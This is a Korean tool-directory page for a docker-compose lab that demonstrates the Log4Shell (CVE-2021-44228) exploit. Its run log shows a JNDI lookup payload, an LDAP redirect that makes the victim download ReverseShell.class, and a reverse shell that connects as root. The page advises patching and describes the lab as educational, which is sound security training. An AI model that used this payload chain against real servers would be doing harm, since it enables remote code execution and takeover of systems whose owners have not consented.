Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228-PoC — 취약점을 안전하게 실행하는 자체 포함 실습 환경, 모두 docker compose로 구성 | Kitploit
도구/GitHubGitHub/j3kz/cve-2021-44228-poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubj3kz/cve-2021-44228-poc

CVE-2021-44228-PoC

취약점을 안전하게 실행하는 자체 포함 실습 환경, 모두 docker compose로 구성

저장소 보기
4년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4Shell(CVE-2021-44228)로 리버스 셸을 실행하는 자체 포함 랩 환경 PoC

이것은 docker compose로 안전하게 익스플로잇을 실행하는 자체 포함 랩 환경입니다.

영향을 받는 버전은 Apache Log4j <=2.0–2.14.1이며, CVE는 CVE-2021-44228(CVSS 점수: 10.0)로 추적됩니다.

Apache Log4j를 가능한 한 빨리 버전 2.16+로 패치하세요!!!

사전 요구 사항

이 코드는 Docker와 Docker Compose가 필요합니다.

설명

Dockerfile 및 docker-compose.yml 파일은 랩 환경을 빌드하고 시작하는 방법을 설명합니다.

피해자 서버 log4shell-server는 spring initializr 데모 프로젝트를 사용하여 구축되었으며, spring-boot-starter-log4j2 2.6.1을 통해 취약한 Log4j 2.14.1 버전을 포함합니다.

취약한 코드는 DemoApplication.java 안에 있습니다.

원격 코드 실행(RCE)은 rce-server가 제공합니다.

중간 LDAP 서버는 Java Unmarshaller Security - Turning your data into code execution을 기반으로 합니다.

공격 벡터는 이 스크립트에서 reverse-shell 서버에 대한 연결을 설정하기 위해 수행됩니다.

리버스 셸 서버는 연결을 기다리며, 리버스 셸을 통해 명령 예제 echo $(whoami)를 보내며, 이 명령은 피해자 서버 log4shell-server에서 실행됩니다.

사용 방법:

root@kitploit:~
git clone https://github.com/j3kz/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC
docker compose up
root@kitploit:~
ldap-server       | Listening on 0.0.0.0:1389

LDAP 서버가 준비되어 수신 대기 중입니다.

root@kitploit:~
reverse-shell     | listening on [::]:4242 ...

리버스 셸 서버가 준비되어 수신 대기 중입니다.

root@kitploit:~
log4shell-server  |
log4shell-server  |   .   ____          _            __ _ _
log4shell-server  |  /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
log4shell-server  | ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
log4shell-server  |  \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
log4shell-server  |   '  |____| .__|_| |_|_| |_\__, | / / / /
log4shell-server  |  =========|_|==============|___/=/_/_/_/
log4shell-server  |  :: Spring Boot ::                (v2.6.1)
log4shell-server  |
log4shell-server  | 2021-12-18 12:31:37.695  INFO 1 --- [           main] c.e.d.DemoApplication                    : Starting DemoApplication using Java 1.8.0_181 on 46edaaf2f7eb with PID 1 (/app/spring-boot-application.jar started by root in /)
log4shell-server  | 2021-12-18 12:31:37.739  INFO 1 --- [           main] c.e.d.DemoApplication                    : No active profile set, falling back to default profiles: default
log4shell-server  | 2021-12-18 12:31:42.337  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
log4shell-server  | 2021-12-18 12:31:42.439  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
log4shell-server  | 2021-12-18 12:31:42.440  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
log4shell-server  | 2021-12-18 12:31:42.717  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
log4shell-server  | 2021-12-18 12:31:42.718  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4549 ms
log4shell-server  | 2021-12-18 12:31:44.660  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''

취약한 서버가 준비되어 수신 대기 중입니다.

root@kitploit:~
attack-vector     | 👌 log4shell-server:8080 is listening!
attack-vector     | 🚀 Sending attack vector ...

공격 서버가 연결을 기다리며 공격 벡터를 전송 중입니다.

root@kitploit:~
log4shell-server  | 2021-12-18 12:31:44.740  INFO 1 --- [           main] c.e.d.DemoApplication                    : Started DemoApplication in 8.402 seconds (JVM running for 11.113)
log4shell-server  | 2021-12-18 12:31:45.110  INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
log4shell-server  | 2021-12-18 12:31:45.110  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
log4shell-server  | 2021-12-18 12:31:45.112  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 2 ms
ldap-server       | Send LDAP reference result for attack-vector redirecting to http://rce-server:3000/ReverseShell.class
rce-server        | 172.31.0.3 - - [18/Dec/2021:12:31:45 +0000] "GET /ReverseShell.class HTTP/1.1" 200 891 "" "Java/1.8.0_181"

취약한 서버가 요청을 실행하고 로깅하므로, LDAP 서버가 RCE 서버에 RCE를 요청합니다.

root@kitploit:~
reverse-shell     | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:43877 ([::ffff:172.31.0.3]:43877)
reverse-shell     | 👻 Hello from the log4shell-server! We are root.
reverse-shell     | listening on [::]:4242 ...
reverse-shell     | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:41249 ([::ffff:172.31.0.3]:41249)

RCE가 실행되고 피해자 서버가 리버스 셸을 열며, 리버스 셸 서버가 원격 명령을 실행할 수 있습니다.

root@kitploit:~
log4shell-server  | 2021-12-18 12:31:45.187  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello  param:name: ReverseShell@22fb868
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:host: log4shell-server:8080
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:user-agent: curl/7.80.0
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:accept: */*

피해자 서버가 공격 벡터 요청을 로깅하고 있습니다.

root@kitploit:~
attack-vector     | 🔥 Server returned:
attack-vector     | > HTTP/1.1 200
attack-vector     | > Content-Type: text/plain;charset=UTF-8
attack-vector     | > Content-Length: 52
attack-vector     | > Date: Sat, 18 Dec 2021 12:31:45 GMT
attack-vector     | >
attack-vector     | > Hello ${jndi:ldap://ldap-server:1389/attack-vector}!
attack-vector     | Attack should be successfull, have a nice day!

공격 벡터 요청이 응답을 로깅하고, 파티를 떠납니다.

부인(Disclaimer)

이 저장소는 취약점에 대한 학습만을 목적으로 합니다.

이 프로젝트는 피해자 서버 소유자의 동의 없이 CVE-2021-44228의 악성 익스플로잇으로 사용될 수 없으며, 그렇게 의도되지 않았습니다.

악성 활동에 대한 모든 사용은 금지되며 엄격한 법률에 의해 처벌됩니다.

참고 자료

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

https://github.com/christophetd/log4shell-vulnerable-app

도구 다운로드